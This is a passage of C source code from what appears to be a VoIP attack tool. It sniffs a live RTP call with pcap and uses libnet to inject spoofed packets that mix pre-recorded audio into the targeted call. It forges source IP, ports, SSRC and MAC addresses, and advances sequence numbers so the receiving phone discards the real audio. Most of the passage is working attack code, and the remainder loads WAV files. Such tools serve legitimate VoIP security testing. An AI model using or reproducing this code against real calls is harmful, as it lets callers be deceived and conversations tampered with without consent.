packets will be the interface through which the // spoofed packets were unintentionally transmitted, the pcap filter // will not exclude them from being captured. The ramification of this // will be that the tool will feed on its own output and the pre-recorded // audio file will be exhaused in a fraction of a second. // printf ("\n __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER = %u \n", __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER ); #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_IP l = libnet_init ( LIBNET_RAW4, // injection type psDevice, // network interface (i.e. see note above) libnet_errbuf ); // errbuf printf ( "\nWill inject spoofed audio at IP layer\n" ); #elif __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET l = libnet_init( LIBNET_LINK, // injection type psDevice, // network interface libnet_errbuf ); // errbuf printf ( "\nWill inject spoofed audio at Ethernet layer\n" ); #else printf ( "\nInvalid Compiler PreProcessor value was assigned to: \n" "\n__RTPMIXSOUND_LIBNET_PROTOCOL_LAYER. Check rtpmixsound.h\n" ); CleanupAndExit ( EXIT_FAILURE ); #endif if ( l == NULL ) { fprintf ( stderr, "libnet_init() failed: %s\n", libnet_errbuf ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } // // Build the libnet UDP packet. This one doesn't really count, but it's used // to prime the audio insertion loop to follow shortly. That loop is where each // memory-resident RTP message will have its RTP header values set // properly to spoof the legitimate audio stream. The thought here is that // libnet probably takes longer to execute the first time it creates a ptag // UDP header as opposed to when it simply updates one. // udp_tag = libnet_build_udp ( rtpSrcPort, // source port rtpDestPort, // destination port LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length 0, // let libnet compute checksum (u_int8_t *) &rtp_msg_to_insert, // payload g711_rtp_msg_len, // payload length l, // libnet handle udp_tag ); // ptag - 0 = build new, !0 = reuse if ( udp_tag == -1 ) { printf ( "Can't build UDP packet: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } // // Build the libnet IP header. This one doesn't really count, but it's used // to prime the audio insertion loop to follow shortly. That loop is where // header values in the spoofed packet are manipulated relative to the // packet received triggering the spoofed packet output. The thought here // is that libnet probably takes longer to execute the first time it creates a // ptag IP header as opposed to when it simply updates one. // ipPacketSize = LIBNET_IPV4_H + LIBNET_UDP_H + g711_rtp_msg_len; ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr ); ip_tag = libnet_build_ipv4 ( ipPacketSize, // size ip_hdr->ip_tos, // ip tos ntohs ( ip_hdr->ip_id ), // ip id ntohs ( ip_hdr->ip_off ), // fragmentation bits ip_hdr->ip_ttl, // ttl IPPROTO_UDP, // protocol 0, // let libnet compute checksum rtpSrcIPv4Addr, // source address rtpDestIPv4Addr, // destination address NULL, // payload 0, // payload length l, // libnet context ip_tag ); // ptag - 0 = build new, !0 = reuse if ( ip_tag == -1 ) { printf ( "Can't build IP header: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); } #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET // // Build the libnet Ethernet header. This one doesn't really count, but it's used // to prime the audio insertion loop to follow shortly. The Ethernet header // is expected to be constant for all spoofed packets in a given stream. However, // the FCS (i.e. Frame Check Sequence) appearing at the end of the Ethernet // packet will change with each packet since the content of the Ethernet // payload changes with each packet. The thought here is that libnet probably // takes longer to execute the first time it creates a ptag Ethernet header as // opposed to when it simply updates one. // eth_hdr = ( struct libnet_ethernet_hdr * ) packet; ether_tag = libnet_build_ethernet ( (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac (u_int8_t *) &(eth_hdr->ether_shost), // source mac ETHERTYPE_IP, // type upper layer protocol NULL, // payload 0, // payload size l, // libnet handle ether_tag ); // ptag - 0 = build new, !0 = reuse if ( ether_tag == -1 ) { printf( "Can't build standard ethernet header: %s\n", libnet_geterror( l ) ); CleanupAndExit( EXIT_FAILURE ); } #endif printf ( "\nWill now synchronize the mixing/interlacing of the" "\npre-recorded audio to the next audio packet captured" "\nfrom the target audio stream." "\n" "\nThere will be no further printed output until pre-recorded" "\naudio playback has completed. Since the audio to mix is" "\n%4.2f sec in length, the tool has failed if greater than" "\nabout %4.2f seconds elapse without a completion confirmation." "\nIn all likelihood, failure to begin mixing audio, or failure" "\nto complete the mixing once it has begun, means the target" "\naudio stream is no longer available to drive the mixing" "\nloop (e.g. the targeted call has ended or changed state)." "\nIt's also possible you're attempting to run the tool on a" "\nvery slow or very heavily loaded machine.\n", expectedAudioPlaybackTime, expectedAudioPlaybackTime ); fflush ( stdout ); // // Sync to the targeted audio stream for real-time playback of pre-recorded audio. // First make sure the incoming buffer of pcap messages has been drained. // Unfortunately, there is no mechanism to explicitly inquire whether the // pcap buffer is empty or how many packets are waiting to be retrieved. // There are a couple of approaches to solving this problem. The chosen // approach is to retrieve a packet and compare the time the packet // arrived with the current time-of-day. When the current time-of-day // is less than 1 ms later than the time-of-day recoded when the packet // was received, we declare that packet to be the sync packet. // bFoundSyncPacket = false; i = 0; do { rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet ); if ( rc == -1 ) { pcap_perror ( h_pcap_live_rtp, "\nError: while attempting to sniff live audio : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( rc == 0 ) { printf ( "\nTimeout reported by pcap_next_ex( ), but" "no timeout was requested.\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } gettimeofday( &time_of_day, NULL ); // retrieve current TimeOfDay // Compute TimeOfDay (sec resolution) - TimeOfArrival (sec resolution) deltaTSec = time_of_day.tv_sec - ppcap_pkthdr->ts.tv_sec; if ( deltaTSec == 0 ) { // Times to compare are within same second deltaTUsec = time_of_day.tv_usec - ppcap_pkthdr->ts.tv_usec; if ( deltaTUsec < 1000 ) { // deltaT is within 1 ms bFoundSyncPacket = true; } } else { // The TOD has incremented into - at least - the next second // compared to the TOA pcap recorded for the packet under // evaluation. While it's unlikely the TOD is more than // 1 second later than the TOA, we need to check to be certain if ( deltaTSec == 1 ) { // Worst case, this could be a delta of barely under 2 seconds. deltaTUsec = ( 1000000 + time_of_day.tv_usec ) - ppcap_pkthdr->ts.tv_usec; if ( deltaTUsec < 1000 ) { // deltaT is within 1 ms bFoundSyncPacket = true; } } } i++; if ( i == 1000 && !bFoundSyncPacket ) { printf ( "\nError: Evaluated 1000 packets from the udp " "stream specified by the command line arguments. " "None passed the stream sync criteria of being " "evaluated within 1 ms of its arrival by pcap. " "Either 1 ms is too tight a tolerance, the tool " "is running on an extermely slow or heavily loaded " "machine, or perhaps the stream you've targeted " "is already under attack by a udp flood tool. " "Since the audio stream should be no faster than " "%u Hz, we're only expecting an audio packet about " "once or twice every %u ms.\n\n", __RTPMIXSOUND_G711_CODEC_RATE_HZ, __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } } while ( !bFoundSyncPacket ); // printf ( "\n# loops required to sync = %u\nDeltaTUsec = %d\n", i, deltaTUsec ); // // The output of each spoofed packet is triggered by the reception of an // audio packet from the transmitter being spoofed. Spoofed packets have // RTP header sequence number and timestamp values adjusted by a factor // relative to the header values captured in the legitimate RTP packet provoking // the output of a corresponding spoof packet. If the goal is to convince the // destination endpoint to accept spoof packets and reject legitimate // packets, then a small positive factor should be adequate (e.g. 1 to 5). // The destination endpoint is expected to view legitimate packets as being // late (delayed) compared to spoofed packets with advanced sequence number // and timestamp value. Hopefully, the receiving endpoint discards the // legitimate audio packets. The tool's user is able to override the default factor // with an optional command line argument. The tool's user is able to input // a positive or negative factor. // for ( i = 0; i < numG711PacketEquivalents; i++ ) { // // Extract the values from the legitimate RTP msg for spoofing as // as a future RTP msg in the audio stream. // rtp_hdr = ( struct rfc1889_rtp_hdr * ) ( packet + offset_to_rtp_msg ); spoofSeqNumber = ntohs ( rtp_hdr->sequenceNumber ); spoofTimestamp = ntohl ( rtp_hdr->timestamp ); spoofSSRC = ntohl ( rtp_hdr->ssrc ); // // Insert the RTP msg header values into the next spoofed (i.e. inserted) RTP msg. // The key header values are advanced by a factor driven by an optional // command line input (or by a default factor if the optional factor is not entered). // rtp_msg_to_insert.rtp_hdr.sequenceNumber = htons ( ( unsigned short ) ( ( ( int ) spoofSeqNumber ) + spoofFactor ) ); // note: for the G.711 codec, the timestamp is simply an increment of the // of audio bytes comprising the payload. rtp_msg_to_insert.rtp_hdr.timestamp = htonl ( spoofTimestamp + ( __RTPMIXSOUND_G711_PAYLOAD_LEN * spoofFactor ) ); rtp_msg_to_insert.rtp_hdr.ssrc = htonl ( spoofSSRC ); // // Convert each captured RTP payload byte to the equivalent 16-bit linear PCM, // add to it the corresponding 16-bit linear PCM value from the ith pre-recorded // audio packet, encode the sum back to 8-bit u-law, and write the byte into the // RTP packet to insert into the audio stream. // // From an Internet audio site describing a PCM mixer with hw support: // // "If one wants to mix two PCM audio streams, it is important to note // that one cannot simply add logarithmic signals together, as it will // cause distortion. One first has to linearize the incoming audio, add // it together, then compress it again before transmission. When one // adds two PCM streams together, the result may become bigger than // the maximum deflection the CODEC can handle, which will sound // bad as well. It is therefore recommended to scale back the mixed // signal by 3dB." // pUlawByte = ( (unsigned char *) packet ) + offset_to_rtp_payload; pPCMShort = &( pcmSamplesToMix[ i ].pcm_value[ 0 ] ); for ( j = 0; j < __RTPMIXSOUND_G711_PAYLOAD_LEN; j++ ) { audioMix = ( int ) ( *pPCMShort ); audioMix += ( int ) ( ulaw2linear ( *pUlawByte ) ); audioMix /= 2; // reduce by 3db (i.e. half power) rtp_msg_to_insert.rtp_payload[ j ] = linear2ulaw ( ( short ) audioMix ); pUlawByte++; pPCMShort++; } #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET // Since the Source MAC of the legitimate RTP transmitter is going to be // spoofed, mark the spoofed packets so this tool will know to reject "incoming" // packets with that mark. The "mark" is the pattern 0,1,0,1,0,1 in the low order // bit of the first 6 RTP payload bytes. rtp_msg_to_insert.rtp_payload[ 0 ] = rtp_msg_to_insert.rtp_payload[ 0 ] & 0xfe; rtp_msg_to_insert.rtp_payload[ 1 ] = rtp_msg_to_insert.rtp_payload[ 1 ] | 0x01; rtp_msg_to_insert.rtp_payload[ 2 ] = rtp_msg_to_insert.rtp_payload[ 2 ] & 0xfe; rtp_msg_to_insert.rtp_payload[ 3 ] = rtp_msg_to_insert.rtp_payload[ 3 ] | 0x01; rtp_msg_to_insert.rtp_payload[ 4 ] = rtp_msg_to_insert.rtp_payload[ 4 ] & 0xfe; rtp_msg_to_insert.rtp_payload[ 5 ] = rtp_msg_to_insert.rtp_payload[ 5 ] | 0x01; #endif // // Update the UDP packet. // udp_tag = libnet_build_udp ( rtpSrcPort, // source port rtpDestPort, // destination port LIBNET_UDP_H + g711_rtp_msg_len, // total UDP packet length 0, // let libnet compute checksum (u_int8_t *) &rtp_msg_to_insert, // udp payload g711_rtp_msg_len, // udp payload length l, // libnet handle udp_tag ); // ptag - 0 = build new, !0 = reuse if ( udp_tag == -1 ) { printf ( "Looping: Can't build UDP packet: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } // // Note: libnet seems to have problems computing correct UDP checksums // reliably. Since the UDP checksum is optional, it can be set to zeros // (i.e. see the call to libnet_build_udp above) and a call to // libnet_toggle_checksum () can be used to disable the checksum // calculation by libnet // libnet_toggle_checksum ( l, udp_tag, LIBNET_OFF ); // // Update the IP header by spoofing the necessary values from the received packet's // IP header. // ip_hdr = ( struct libnet_ipv4_hdr * ) ( packet + offset_to_ip_hdr ); spoofID = ntohs ( ip_hdr->ip_id ); spoofID = ( unsigned short ) ( ( ( int ) spoofID ) + spoofFactor ); ip_tag = libnet_build_ipv4 ( ipPacketSize, // size ip_hdr->ip_tos, // ip tos spoofID, // ip id // ntohs ( ip_hdr->ip_id ), // ip id ntohs ( ip_hdr->ip_off ), // fragmentation bits ip_hdr->ip_ttl, // ttl IPPROTO_UDP, // protocol 0, // let libnet compute checksum rtpSrcIPv4Addr, // source address rtpDestIPv4Addr, // destination address NULL, // payload 0, // payload length l, // libnet context ip_tag ); // ptag - 0 = build new, !0 = reuse if ( ip_tag == -1 ) { printf ( "Looping: Can't build IP header: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); } #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET // // Update the Ethernet header by spoofing the necessary values from // the received packet's Ethernet header // eth_hdr = ( struct libnet_ethernet_hdr * ) packet; ether_tag = libnet_build_ethernet ( (u_int8_t *) &(eth_hdr->ether_dhost), // dest mac (u_int8_t *) &(eth_hdr->ether_shost), // source mac ETHERTYPE_IP, // type upper layer protocol NULL, // payload 0, // payload size l, // libnet handle ether_tag ); // ptag - 0 = build new, !0 = reuse if ( ether_tag == -1 ) { printf( "Can't build standard ethernet header: %s\n", libnet_geterror( l ) ); CleanupAndExit( EXIT_FAILURE ); } #endif // // Are we dealing with a phone that requires the reception of the // spoofed packet to be within a specified deltaT of when the phone // will receive the next legitimate packet? // if ( jitterFactor < 80 ) { delayTransmitOfSpoofedPacket( __RTPMIXSOUND_G711_CODEC_INTERVAL_USEC ); } // // Write the packet. // bytesWritten = libnet_write( l ); if ( bytesWritten == -1 ) { fprintf ( stderr, "Write error: %s\n", libnet_geterror( l ) ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } // // Make sure the number of written bytes jives with what we expect. // if ( bytesWritten < ipPacketSize ) { fprintf ( stderr, "Write error: libnet only wrote %d of %d bytes", bytesWritten, ipPacketSize ); CleanupAndExit ( EXIT_FAILURE ); // control does not return } // // Wait for next legitimate audio packet as trigger to output next spoofed audio packet // #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET // No need for a loop to examine the content of "incoming" RTP // packets to see if they're legitimate unless the tool is spoofing // the Source MAC of the legitimate transmitter. bool bReceivedLegitimatePacket; bReceivedLegitimatePacket = false; while ( !bReceivedLegitimatePacket ) { #endif // Note: need this stuff regardless of whether the Source MAC of // the legitimate transmitter is being spoofed by the tool. packet = NULL; rc = pcap_next_ex ( h_pcap_live_rtp, &ppcap_pkthdr, &packet ); if ( rc == -1 ) { pcap_perror ( h_pcap_live_rtp, "\nError: while attempting to sniff live audio : " ); printf ( "\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } if ( rc == 0 ) { printf ( "\nTimeout reported by pcap_next_ex( ), but" "no timeout was requested.\n" ); CleanupAndExit ( EXIT_FAILURE ); // control does not return here } #if __RTPMIXSOUND_LIBNET_PROTOCOL_LAYER == __RTPMIXSOUND_LIBNET_ETHERNET // Since the Source MAC of outgoing RTP packets are being spoofed, // we must make sure we prevent the tool from feeding upon its // own output packets. See if the pattern 0,1,0,1,0,1 is endoded into // the low order bit of the first 6 bytes of the RTP payload. const u_char *pRTPpayload; pRTPpayload = packet + offset_to_rtp_payload; if ( ( ( *( pRTPpayload + 0 ) & 0x01 ) != 0 ) || ( ( *( pRTPpayload + 1 ) & 0x01 ) != 1 ) || ( ( *( pRTPpayload + 2 ) & 0x01 ) != 0 ) || ( ( *( pRTPpayload + 3 ) & 0x01 ) != 1 ) || ( ( *( pRTPpayload + 4 ) & 0x01 ) != 0 ) || ( ( *( pRTPpayload + 5 ) & 0x01 ) != 1 ) ) { bReceivedLegitimatePacket = true; } } // end while ( legitimate RTP packet not received ) #endif } // end spoofed RTP packet output loop printf ( "\n\nMixing/interlacing the pre-recorded audio with the\n" "target audio stream has completed.\n" ); CleanupAndExit ( EXIT_SUCCESS ); } // end main //----------------------------------------------------------------------------- // // preloadWavAudio ( char *psInputAudioFile, // struct pcm pcmSamplesToMix[], // unsigned int *numG711PacketEquivalents ) // // This routine expects psInputAudioFile to point to a // string with the name of a file containing pre-recorded // audio to load into memory. The file is expected to be a // standard Microsoft multimedia RIFF formatted file // containing WAVE formated audio. // // This routine shall confirm that the file content meets the // the following restrictions: // // File type: Microsoft RIFF // File Resource Type: WAVE // Compression Code: PCM/uncompressed // Sample Frequency: 8000 Hz // Sample size: unsigned 8-bit or signed 16-bit. // // The file must have "chunks" in this order: // // RIFF chunk // format chunk // fact chunk // data chunk // // or // // RIFF chunk // format chunk // data chunk // // If the file does not comply with the required // configuration, the Linux sox command is // suggested as a means to convert the file // to the required configuration. // // Pre-recorded audio content is read, converted to // signed 16-bit linear PCM (if it is not already),into PCM, and // loaded into memory because receiving the audio payload of // each live audio packet, decoding it from G.711 into 16-bit // linear PCM, mixing it with the PCM of the next pre-recorded // audio sample, encoding the mixture back into G.711 ulaw, // and writing spoofed packet onto the wire is time critical. // So, getting the pre-recorded audio in a format ready to // mix with the incoming audio is beneficial. Also, // reading from a disk drive on an arbitrary platform would // yield unpredictable timing due to several factors (e.g. speed // of the machine, disk buffer sizes, disk caching parameters, // disk access time, ...etc). // // Of course, swapping of the memory resident, pre-recorded audio // in PCM form to disk could occur as a consequence of normal // OS data paging operation. // // FIXME: Declare that some data should remain // memory-resident at all times. // //----------------------------------------------------------------------------- bool preloadWavAudio ( char *psInputAudioFile, struct pcm pcmSamplesToMix[], unsigned int *numG711PacketEquivalents ) { FILE *fpAudio = NULL; int i, j, rc; struct { char c_chunkID[4]; // Should be 4 ASCII characters unsigned int ui_chunkSize; // i.e. does not include hdrCHUNK } hdrCHUNK; struct { unsigned char c_chunkID[4]; // Should be the ASCII characters: RIFF unsigned int ui_audioFileSize; // i.e. file size - 8 unsigned char c_typeRIFF[4]; // Should be the ASCII characters: WAVE } hdrRIFF; // // hdrFMT is the structure of the fmt chunk when there are no extra format bytes // (i.e. when ui_fmtChunkSize = 16). // struct { char c_chunkID[4]; // Should be the ASCII characters: fmt unsigned int ui_fmtChunkSize; // i.e. 16 + extra format bytes unsigned short us_compressionCode; // 1 to 65535 unsigned short us_numChannels; // 1 to 65535 unsigned int ui_sampleRate; // 1 to ( 2**32 - 1 ) unsigned int ui_avgBytesPerSec; // 1 to ( 2**32 - 1 ) unsigned short us_blockAlign; // 1 to 65535 unsigned short us_numSignificantBitsPerSample; // 2 to 65535 } hdrFMT; // // Check that the audio input file has a standard RIFF header and that the // format type is: WAVE // fpAudio = fopen ( psInputAudioFile, "r" ); if ( !fpAudio ) { printf ( "\nCouldn't open pre-recorded audio file: %s\n", psInputAudioFile ); return false; } rc = fread ( &hdrRIFF, sizeof ( hdrRIFF ), 1, fpAudio ); if ( rc != 1 ) { printf ( "\nEOF on input file attempting to read" "\nthe standard RIFF header\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\nAudio file format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x \n", hdrRIFF.c_chunkID[0], hdrRIFF.c_chunkID[1], hdrRIFF.c_chunkID[2], hdrRIFF.c_chunkID[3], hdrRIFF.c_chunkID[0], hdrRIFF.c_chunkID[1], hdrRIFF.c_chunkID[2], hdrRIFF.c_chunkID[3] ); } if ( hdrRIFF.c_chunkID[0] != 'R' || hdrRIFF.c_chunkID[1] != 'I' || hdrRIFF.c_chunkID[2] != 'F' || hdrRIFF.c_chunkID[3] != 'F' ) { printf ( "\nPre-recorded audio input does not have a standard RIFF header\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\nTotal Audio File Size: %u\n", hdrRIFF.ui_audioFileSize + 8 ); printf ( "\nPre-recorded audio content format: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n", hdrRIFF.c_typeRIFF[0], hdrRIFF.c_typeRIFF[1], hdrRIFF.c_typeRIFF[2], hdrRIFF.c_typeRIFF[3], hdrRIFF.c_typeRIFF[0], hdrRIFF.c_typeRIFF[1], hdrRIFF.c_typeRIFF[2], hdrRIFF.c_typeRIFF[3] ); } if ( hdrRIFF.c_typeRIFF[0] != 'W' || hdrRIFF.c_typeRIFF[1] != 'A' || hdrRIFF.c_typeRIFF[2] != 'V' || hdrRIFF.c_typeRIFF[3] != 'E' ) { printf ( "\nPre-recorded audio input is not in WAVE format\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } // // Check that the audio input file has a standard "fmt " chunk following the // RIFF chunk. The "fmt " chunk contains the parameters of the audio // data. // rc = fread ( &hdrFMT, sizeof ( hdrFMT ), 1, fpAudio ); if ( rc != 1 ) { printf ( "\nEOF on input file attempting to read" "\nthe standard RIFF fmt header\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n", hdrFMT.c_chunkID[0], hdrFMT.c_chunkID[1], hdrFMT.c_chunkID[2], hdrFMT.c_chunkID[3], hdrFMT.c_chunkID[0], hdrFMT.c_chunkID[1], hdrFMT.c_chunkID[2], hdrFMT.c_chunkID[3] ); } if ( hdrFMT.c_chunkID[0] != 'f' || hdrFMT.c_chunkID[1] != 'm' || hdrFMT.c_chunkID[2] != 't' || hdrFMT.c_chunkID[3] != ' ' ) { printf ( "\nRIFF header not followed by fmt header\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\nCompression Code: %u", hdrFMT.us_compressionCode ); printf ( "\nChannels: %u", hdrFMT.us_numChannels ); printf ( "\nSample Rate (Hz): %u", hdrFMT.ui_sampleRate ); printf ( "\nAvg. Bytes/sec: %u", hdrFMT.ui_avgBytesPerSec ); printf ( "\nBlock Align: %u", hdrFMT.us_blockAlign ); printf ( "\nSignificant Bits/sample: %u", hdrFMT.us_numSignificantBitsPerSample ); } if ( hdrFMT.ui_fmtChunkSize > 16 ) { printf ( "\n\nThe fmt chunk has %u Extra Format Bytes." "\nExtra format bytes are not supported.\n", hdrFMT.ui_fmtChunkSize - 16 ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current" "\nformat to the format required by this tool" "\nTo see a limited output of your file's parameters" "\nyou may execute this tool using the verbose option" "\n(i.e. -v) or the following sox command for a" "\nmore comprehensive assessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } // // Determine the chunk id of the chunk following the "fmt " chunk // when there are no extra format bytes // rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio ); if ( rc != 1 ) { printf ( "\nEOF on input file attempting to read" "\nthe chunk header following the fmt chunk\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\n\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n", hdrCHUNK.c_chunkID[0], hdrCHUNK.c_chunkID[1], hdrCHUNK.c_chunkID[2], hdrCHUNK.c_chunkID[3], hdrCHUNK.c_chunkID[0], hdrCHUNK.c_chunkID[1], hdrCHUNK.c_chunkID[2], hdrCHUNK.c_chunkID[3] ); printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize ); } // // The tool requires the chunk header just read to be either a 'fact' chunk or a 'data' chunk // if ( hdrCHUNK.c_chunkID[0] == 'f' && hdrCHUNK.c_chunkID[1] == 'a' && hdrCHUNK.c_chunkID[2] == 'c' && hdrCHUNK.c_chunkID[3] == 't' ) { unsigned int ui_numSamplesInWaveformChunk = 0; rc = fread ( &ui_numSamplesInWaveformChunk, sizeof ( ui_numSamplesInWaveformChunk ), 1, fpAudio ); if ( rc != 1 ) { printf ( "\nEOF on input file attempting to read" "\nthe content of a \"fact\" chunk\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "Number of samples in waveform data chunk: %u\n", ui_numSamplesInWaveformChunk ); } // // This tool now requires the next chunk to be the 'data' chunk. // rc = fread ( &hdrCHUNK, sizeof ( hdrCHUNK ), 1, fpAudio ); if ( rc != 1 ) { printf ( "\nEOF on input file attempting to read" "\nthe chunk header following the fmt chunk\n" ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( bVerbose ) { printf ( "\nNext \"chunk\" header type: %c%c%c%c 0x%0x 0x%0x 0x%0x 0x%0x\n", hdrCHUNK.c_chunkID[0], hdrCHUNK.c_chunkID[1], hdrCHUNK.c_chunkID[2], hdrCHUNK.c_chunkID[3], hdrCHUNK.c_chunkID[0], hdrCHUNK.c_chunkID[1], hdrCHUNK.c_chunkID[2], hdrCHUNK.c_chunkID[3] ); printf ( "chunk data size: %u\n", hdrCHUNK.ui_chunkSize ); } } // // The chunk just read must be the 'data' chunk // if ( hdrCHUNK.c_chunkID[0] != 'd' || hdrCHUNK.c_chunkID[1] != 'a' || hdrCHUNK.c_chunkID[2] != 't' || hdrCHUNK.c_chunkID[3] != 'a' ) { printf ( "\nThis tool supports only two sequences of RIFF WAVE file" "\nchunks:\n" "\n RIFF, fmt, fact, data" "\n or" "\n RIFF, fmt, data\n" "\nAn unsupported chunk header was encountered.\n" ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current" "\nformat to the format required by this tool." "\nTo see a limited output of your file's parameters," "\nyou may execute this tool using the verbose" "\noption (i.e. -v) or the following sox command" "\nfor a more comprehensive assessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } // // The file appears to okay with respect to the sequence of chunk headers. // Now make sure that the fmt chunk information describes audio // content that complies with the constraints of this tool. // if ( hdrFMT.us_compressionCode != __RTPMIXSOUND_PCM_UNCOMPRESSED_COMPRESSION_CODE ) { printf ( "\nThe WAVE file compression format of your audio" "\nfile is not supported. Only code = 1 is supported" "\n(i.e. PCM/Uncompressed). Compression code" "\nspecified by audio file is: %u\n", hdrFMT.us_compressionCode ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current" "\ncompression to the PCM/Uncompressed format" "\nrequired by this tool. To see a limited output" "\nof your file's parameters you may execute this" "\ntool using the verbose option (i.e. -v) or the" "\nfollowing sox command for a more comprehensive" "\nassessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( hdrFMT.us_numChannels != 1 ) { printf ( "\nThe number of audio channels in your audio file" "\nis not supported. Only mono (i.e. 1 channel) is" "\nsupported. The number of audio channels in your" "\naudio is: %u\n", hdrFMT.us_numChannels ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current" "\nnumber of audio channels to the mono format" "\nrequired by this tool. To see a limited output" "\nof your file's parameters you may execute this" "\ntool using the verbose option (i.e. -v) or the" "\nfollowing sox command for a more comprehensive" "\nassessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( hdrFMT.ui_sampleRate != 8000 ) { printf ( "\nThe sample rate of your audio file is not supported." "\nOnly 8000 Hz is supported. The sample rate of" "\nyour audio is: %u Hz\n", hdrFMT.ui_sampleRate ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current" "\nsample rate to the 8000 Hz required by this tool." "\nTo see a limited output of your file's parameters" "\nyou may execute this tool using the verbose option" "\n(i.e. -v) or the following sox command for a more" "\ncomprehensive assessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } if ( hdrFMT.us_numSignificantBitsPerSample != 8 && hdrFMT.us_numSignificantBitsPerSample != 16 ) { printf ( "\nThe number of significant bits per audio sample" "\nof your audio file is not supported. Only 8 or" "\n16 bits per sample is supported. The number of" "\nsignificant bits of your audio is: %u\n", hdrFMT.us_numSignificantBitsPerSample ); printf ( "\nYou might be able to use the Linux 'sox' command" "\nto convert your WAVE file from its current number" "\nof significant bits/sample to the 8 or 16 required" "\nby this tool. To see a limited output of your file's" "\nparameters you may execute this tool using the" "\nverbose option (i.e. -v) or the following sox" "\ncommand for a more comprehensive assessment:" "\n sox -V %s -e stat\n", psInputAudioFile ); fclose ( fpAudio ); fpAudio = NULL; return false; } // // Read, convert (if necessary), and load audio data into the // memory stipulated to this function. Limit the magnitude // of the audio to the number of specified G.711 packet equivalents. // if ( hdrFMT.us_numSignificantBitsPerSample == 16 ) { // // The format of the audio is exactly as desired. It can be loaded // directly into the reserved memory area // for ( i = 0; i < __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX; i++ ) { rc = fread ( &pcmSamplesToMix[i], sizeof ( short ), __RTPMIXSOUND_G711_PAYLOAD_LEN, fpAudio ); if ( rc != __RTPMIXSOUND_G711_PAYLOAD_LEN ) { // // Less than a complete G.711 packet equivalent audio remained in // the audio file. So, return only the number of complete G.711 // sample equivalents to the caller. // break; // out of the for loop } } *numG711PacketEquivalents = i; fclose ( fpAudio ); fpAudio = NULL; return true; } // // Because of the test above, the only other possibility is that the // number of significant bits/sample must be 8, but a test is made // here - just in case the above logic is modified at a future date // if ( hdrFMT.us_numSignificantBitsPerSample == 8 ) { // // The audio needs to be converted from unsigned, 8-bit to signed, 16-bit // Even though, by convention, 8-bit PCM is referred to as unsigned, it // is scaled // signed char wavePCM[__RTPMIXSOUND_G711_PAYLOAD_LEN]; for ( i = 0; i < __RTPMIXSOUND_G711_MAX_NUMBER_RTP_MSGS_TO_MIX; i++ ) { rc = fread ( &wavePCM, sizeof ( wavePCM ), 1, fpAudio ); if ( rc != 1 ) { // // Less than a complete G.711 packet equivalent audio remained in // the audio file. So, return only the number of complete G.711 // packet equivalents to the caller. // *numG711PacketEquivalents = i; fclose ( fpAudio ); fpAudio = NULL; return true; } for ( j = 0; j < __RTPMIXSOUND_G711_PAYLOAD_LEN; j++ ) { 